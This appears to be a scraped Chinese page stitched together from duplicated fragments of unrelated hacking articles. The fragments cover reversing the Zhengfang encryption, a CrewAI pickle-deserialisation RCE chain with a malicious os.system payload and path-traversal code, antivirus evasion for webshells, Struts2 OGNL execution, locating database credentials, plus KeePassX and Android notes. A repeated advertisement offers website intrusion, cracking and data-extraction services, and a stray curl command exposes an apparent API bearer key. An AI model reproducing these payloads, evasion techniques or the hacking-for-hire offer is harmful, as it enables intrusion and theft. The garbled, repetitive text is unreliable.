由“正方”jiam、jiemi之逆向思及Base64之逆编码表
经常遇到基友求助类似Base64编码的解码(先不说是不是Base64,下文会做说明)。如:p6FDpXlnQ1tHlLZK+NvA1hwfeND8NdXt1q6whqP6WODTEBP4UzzjnDQ== 这个很像Base64编码吧,但你用标准Base64去解码得到的结果明显不是想要的(这个有N多可能)。
再议“正方”之jiam、jiemi
为什么是再议呢?因为正方教务系统的“加密”、“解密”运作方式早已被讨论N多次了,网上甚至可以找到此算法的N多版本(可自行Baidu、Google)。 两个典型的场景是:
① 有多组密文,已知几组密文对应的明文和加密算法,但是由于无法获得加密所使用的Key,无法解密其它密文。
② 由系统某缺陷可以获得加密后的密文(当然明文是自己的密码这个是可控的),获得了别人的密文后由于无Key,无法解密。
为了研究此算法尝试逆得Key,我决定再写个VB版的。由于事先已从网上查知算法位于/bin/zjdx.dll中,所以找起来就简单了,网上找得一份“源码”使用Reflector载入zjdx.dll,由登录页Default2跟进到jiam方法如图
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
经常遇到基友求助类似Base64编码的解码(先不说是不是Base64,下文会做说明)。如:p6FDpXlnQ1tHlLZK+NvA1hwfeND8NdXt1q6whqP6WODTEBP4UzzjnDQ== 这个很像Base64编码吧,但你用标准Base64去解码得到的结果明显不是想要的(这个有N多可能)。
再议“正方”之jiam、jiemi
为什么是再议呢?因为正方教务系统的“加密”、“解密”运作方式早已被讨论N多次了,网上甚至可以找到此算法的N多版本(可自行Baidu、Google)。 两个典型的场景是:
① 有多组密文,已知几组密文对应的明文和加密算法,但是由于无法获得加密所使用的Key,无法解密其它密文。
② 由系统某缺陷可以获得加密后的密文(当然明文是自己的密码这个是可控的),获得了别人的密文后由于无Key,无法解密。
为了研究此算法尝试逆得Key,我决定再写个VB版的。由于事先已从网上查知算法位于/bin/zjdx.dll中,所以找起来就简单了,网上找得一份“源码”使用Reflector载入zjdx.dll,由登录页Default2跟进到jiam方法如图
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
CrewAI FileWriterTool + PickleHandler 组合漏洞
漏洞描述
CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。
这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。
分步骤复现
用 FileWriterTool 写入恶意 pickle 文件
协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了
用 PickleHandler 路径穿越加载恶意文件
#网站 #编程 #数据 #权限 #破解
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
漏洞描述
CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。
这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。
1 curl --location 'http://ai-2api.jdcloud.com/v1/chat/completions' \
2 --header 'Authorization: Bearer pk-6f6c6dc5-010a-44d7-bb2c-cc2c60410ca8' \
3 --header 'Content-Type: application/json' \
4 --data '{
5 "model": "Gemini-2.5-pro",
6 "messages": [
7 {
8 "role": "user",
9 "content": "世界最长的河流是什么?"
10 }
11 ],
12 "thinking_budget":1024 (非必填),
13 "max_tokens": 1000(非必填),
14 "thinking":true,
15 "stream":false
16 }'
分步骤复现
用 FileWriterTool 写入恶意 pickle 文件
FileWriterTool 使用文本模式 (mode="w") 写入文件,而 pickle 通常是二进制格式。我们试试用 pickle 协议 0 生成 ASCII 格式的 payload,看能不能绕过这个限制。1 import pickle
2 import os
3
4 class MaliciousPayload:
5 def __reduce__(self):
6 return (os.system,('echo RCE_SUCCESS > /tmp/test.txt',))
7
8 # 使用协议 0 生成 ASCII pickle
9 pickle_bytes =
10pickle.dumps(MaliciousPayload(), protocol=0)
pickle_str = pickle_bytes.decode('latin-1')
11
12 print(f"Pickle payload: {repr(pickle_str)}")
协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了
FileWriterTool 没有任何路径限制,可以写入任意目录,写 pkl 文件无问题用 PickleHandler 路径穿越加载恶意文件
import os
from crewai.utilities.file_handler import PickleHandler
# 假设当前工作目录是 /tmp/work
os.chdir("/tmp/work")
print(f"当前目录: {os.getcwd()}")
# 使用 ../ 路径穿越绕过 os.getcwd() 限制
handler = PickleHandler("../attack/malicious.pkl")
print(f"构造的路径: {handler.file_path}")
# 输出: /tmp/work/../attack/malicious.pkl
# 实际指向: /tmp/attack/malicious.pkl
PickleHandler 用 os.path.join(os.getcwd(), file_name) 限制文件在当前目录,但 ../ 可以穿越出去。当然也可以使用绝对路径绕过#网站 #编程 #数据 #权限 #破解
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
要让“一句话”可以接收代码、执行代码、返回结果,首先要具备的条件是“一句话”已经通过检查。好吧,少说废话,开始行动吧!
已准备工具:
D盾_Web查杀(D盾杀的Shell比较全)
ASP、ASPX、PHP原生态无污染一句话
来看一下D盾对原生一句话的查杀情况吧!
Shit!,级别为5(eval后门)全部杀掉!这样也就是说即使你的一句话已经躺在目标网站目录了,访问的时候也会被WAF断掉连接。这样一句话本身也就失去意义了,更别说去使用它了。
那么这种情况下该怎么做呢?我的答案是:就像Windows下做exe的免杀一样,找到杀软件杀掉的特征码然后改掉或是绕过。当然免杀Shell比免杀exe简单的多了……
开始对我们的一句话做“免杀”吧!在此之前先来了解一句话木马的原理。对比下asp、aspx、php一句话,你发现了什么?
看到了吧,不同语言的一句话构成几乎完全一致!(首先请求客户端数据,然后执行请求到的数据)至于执行数据的来源,可以是Post,也可以是Get、cookies、session等(依然是Post、Get);如果考虑到数据长度、编码、隐蔽性等诸多因素当然还是使用Post方法最为合适。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
已准备工具:
D盾_Web查杀(D盾杀的Shell比较全)
ASP、ASPX、PHP原生态无污染一句话
来看一下D盾对原生一句话的查杀情况吧!
Shit!,级别为5(eval后门)全部杀掉!这样也就是说即使你的一句话已经躺在目标网站目录了,访问的时候也会被WAF断掉连接。这样一句话本身也就失去意义了,更别说去使用它了。
那么这种情况下该怎么做呢?我的答案是:就像Windows下做exe的免杀一样,找到杀软件杀掉的特征码然后改掉或是绕过。当然免杀Shell比免杀exe简单的多了……
开始对我们的一句话做“免杀”吧!在此之前先来了解一句话木马的原理。对比下asp、aspx、php一句话,你发现了什么?
看到了吧,不同语言的一句话构成几乎完全一致!(首先请求客户端数据,然后执行请求到的数据)至于执行数据的来源,可以是Post,也可以是Get、cookies、session等(依然是Post、Get);如果考虑到数据长度、编码、隐蔽性等诸多因素当然还是使用Post方法最为合适。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
J2EE远程代码执行那些事儿(框架层面)
在J2EE远程代码执行中,大部分的代码执行情况的本质是,能够从外部去直接控制Java对象(其他语言暂不讨论,其实也差不多),控制Java对象大致包括几种情况:直接new对象;调用对象的方法(包括静态方法);访问对象的属性(赋值)等
那么一些J2EE框架在设计之中,如果某些功能允许以上操作,可能出现的远程代码执行情况。
那么我们在使用OGNL实现某些J2EE框架功能或者机制中,如果getValue或setValue函数是允许外部参数直接完整内容传入的,那肯定是很危险的!!!
比如:webWork及Struts2框架(其实真是不想说,Struts2简直就是在拖Java安全水平的后腿。它所有OGNL远程执行代码的漏洞的形成,可以用一句话简单概括:在使用OGNL实现框架某些功能或机制时,允许外部参数直接传入OGNL表达式或安全限制被饶过等)
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
在J2EE远程代码执行中,大部分的代码执行情况的本质是,能够从外部去直接控制Java对象(其他语言暂不讨论,其实也差不多),控制Java对象大致包括几种情况:直接new对象;调用对象的方法(包括静态方法);访问对象的属性(赋值)等
那么一些J2EE框架在设计之中,如果某些功能允许以上操作,可能出现的远程代码执行情况。
那么我们在使用OGNL实现某些J2EE框架功能或者机制中,如果getValue或setValue函数是允许外部参数直接完整内容传入的,那肯定是很危险的!!!
比如:webWork及Struts2框架(其实真是不想说,Struts2简直就是在拖Java安全水平的后腿。它所有OGNL远程执行代码的漏洞的形成,可以用一句话简单概括:在使用OGNL实现框架某些功能或机制时,允许外部参数直接传入OGNL表达式或安全限制被饶过等)
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
数据库信息在哪儿
寻找方式
先说一般的数据库连接信息。
第一种
一般在web.config,如某套OA就是将连接字符串存放在该文件内
第二种
有的ASP.NET程序功能较多,会自定义其它config文件,所以可能会存在多个config,而数据库连接信息就存放在其它config文件中,比如逐浪CMS(你们懂的)就有多个config文件
但数据库相关连接信息存放在ConfigConnectionStrings.config
第三种
也有更标新立异的压根不存放在config中,比如信游(你们也懂的)的免费版,也有一个config文件夹
第四种
有一些比较奇葩的,直接写在代码中。这种情况下如果没有源码cs文件,就只能反编译bin目录下的dll文件了,必须扩展开来说,这是后话了。
数据库文件
那如果是access或者SQLite的情况又会有什么变化呢?他们的数据库会存放在什么位置?
现在大多CMS为了避免直接下载MDB或相关格式的问题,在.NET中采取了其它手段去防下载,比如50cms将SQLite的数据库存放在根目录的App_Data文件夹中
另外还有直接将access数据库存放在App_Code文件夹中的,保存为.cs后缀,由于App_Code和App_Data是无法直接通过post和get来直接访问的(你有任意文件下载的话谁都拦不住你),所以在一定程度上保证了网站的安全性,比如下面的2013.cs实际就是网站的数据库
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
寻找方式
先说一般的数据库连接信息。
第一种
一般在web.config,如某套OA就是将连接字符串存放在该文件内
第二种
有的ASP.NET程序功能较多,会自定义其它config文件,所以可能会存在多个config,而数据库连接信息就存放在其它config文件中,比如逐浪CMS(你们懂的)就有多个config文件
但数据库相关连接信息存放在ConfigConnectionStrings.config
第三种
也有更标新立异的压根不存放在config中,比如信游(你们也懂的)的免费版,也有一个config文件夹
第四种
有一些比较奇葩的,直接写在代码中。这种情况下如果没有源码cs文件,就只能反编译bin目录下的dll文件了,必须扩展开来说,这是后话了。
数据库文件
那如果是access或者SQLite的情况又会有什么变化呢?他们的数据库会存放在什么位置?
现在大多CMS为了避免直接下载MDB或相关格式的问题,在.NET中采取了其它手段去防下载,比如50cms将SQLite的数据库存放在根目录的App_Data文件夹中
另外还有直接将access数据库存放在App_Code文件夹中的,保存为.cs后缀,由于App_Code和App_Data是无法直接通过post和get来直接访问的(你有任意文件下载的话谁都拦不住你),所以在一定程度上保证了网站的安全性,比如下面的2013.cs实际就是网站的数据库
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
密码管理利器:Linux - KeePassX
随着安全性问题变得越来越重要,密码当然是越安全越理想(比如多步认证)。
于是我最近就试用了几个安全密码管理器,试图找到一款比较安全,易于使用并且跨平台的应用软件。
首先,我尝试了LastPass。LastPass大概最为人们所熟知,因为它是基于WEB管理密码的,是所有软件中平台无关性最强的。但是我发现它的界面简陋,而且提供太多的工具和选项,比较繁琐。
接下来,我又试了试KeePass 2。尽管是一款功能相当完善的应用软件,非常类似于下面我将要描述的,但是官方没有提供Linux的安装包,而且社区移植的版本,虽然可用,但仍然算不上最好的。所以我又尝试了其他应用。
在所有的试用过的软件中,我最喜欢的是 KeePassX 。 它原来是KeePass的在Linux上的移植版,但是后来演变成了独立的应用。凭借更漂亮、更原生的外观,KeePassX 打败了KeePass 2。
在ubuntu中使用KeePassX
方便的是,KeePassX已经提供在ubuntu上安装的软件包。
从命令行安装KeePassX或者 从软件管理中心安装:
从Ubuntu软件中心安装KeePassX
安装后打开它,你会看到一个空白窗口。点击工具条上的第一个按钮来创建一个新数据库。你可以使用密钥文件或者密码保护这个刚刚创建的数据库。一般你会使用密码,因为只需要记住它并输入就行了 - 你应该输入较长的密码,这样你就可以防止其他人使用你的数据库。
接下来,你得把它存到某个位置。我保存在我的Dropbox里面,这样就可以从多个地方获取。
Dropbox使用双因子认证,所以如果有人想进到我的Dropbox里面,他就得拿到我的手机,这样的方式是还是相当安全的。
或者你也可以使用其他的服务,比如Google Drive和Skydrive,它们都可以使用认证器应用;也可以使用Box,它用短信进行双因子认证。
当然,如果你真的很在意自己的密码,你很可能不想把密码存到其他的地方,因为理论上密码是可以被他们获取到的。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
随着安全性问题变得越来越重要,密码当然是越安全越理想(比如多步认证)。
于是我最近就试用了几个安全密码管理器,试图找到一款比较安全,易于使用并且跨平台的应用软件。
首先,我尝试了LastPass。LastPass大概最为人们所熟知,因为它是基于WEB管理密码的,是所有软件中平台无关性最强的。但是我发现它的界面简陋,而且提供太多的工具和选项,比较繁琐。
接下来,我又试了试KeePass 2。尽管是一款功能相当完善的应用软件,非常类似于下面我将要描述的,但是官方没有提供Linux的安装包,而且社区移植的版本,虽然可用,但仍然算不上最好的。所以我又尝试了其他应用。
在所有的试用过的软件中,我最喜欢的是 KeePassX 。 它原来是KeePass的在Linux上的移植版,但是后来演变成了独立的应用。凭借更漂亮、更原生的外观,KeePassX 打败了KeePass 2。
在ubuntu中使用KeePassX
方便的是,KeePassX已经提供在ubuntu上安装的软件包。
从命令行安装KeePassX或者 从软件管理中心安装:
从Ubuntu软件中心安装KeePassX
安装后打开它,你会看到一个空白窗口。点击工具条上的第一个按钮来创建一个新数据库。你可以使用密钥文件或者密码保护这个刚刚创建的数据库。一般你会使用密码,因为只需要记住它并输入就行了 - 你应该输入较长的密码,这样你就可以防止其他人使用你的数据库。
接下来,你得把它存到某个位置。我保存在我的Dropbox里面,这样就可以从多个地方获取。
Dropbox使用双因子认证,所以如果有人想进到我的Dropbox里面,他就得拿到我的手机,这样的方式是还是相当安全的。
或者你也可以使用其他的服务,比如Google Drive和Skydrive,它们都可以使用认证器应用;也可以使用Box,它用短信进行双因子认证。
当然,如果你真的很在意自己的密码,你很可能不想把密码存到其他的地方,因为理论上密码是可以被他们获取到的。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Content Provider组件是Android应用的重要组件之一,管理对数据的访问,主要用于不同的应用程序之间实现数据共享的功能。Content Provider的数据源不止包括SQLite数据库,还可以是文件数据。通过将数据储存层和应用层分离,Content Provider为各种数据源提供了一个通用的接口。
创建一个自己的Content Provider需要继承自ContentProvider抽象类,需要重写其中的onCreate()、query()、insert()、update()、delete()、getType()六个抽象方法,这些方法实现对底层数据源的增删改查等操作。还需在AndroidManifest文件注册Content Provider,注册时指定访问权限、exported属性、authority属性值等。
其它APP使用ContentResolver对象来查询和操作Content Provider,此对象具有Content Provider中同名的方法名。这样其他APP接就可以访问Content Provider对应的数据源的底层数据,而无须知道数据的结构或实现。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
创建一个自己的Content Provider需要继承自ContentProvider抽象类,需要重写其中的onCreate()、query()、insert()、update()、delete()、getType()六个抽象方法,这些方法实现对底层数据源的增删改查等操作。还需在AndroidManifest文件注册Content Provider,注册时指定访问权限、exported属性、authority属性值等。
其它APP使用ContentResolver对象来查询和操作Content Provider,此对象具有Content Provider中同名的方法名。这样其他APP接就可以访问Content Provider对应的数据源的底层数据,而无须知道数据的结构或实现。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke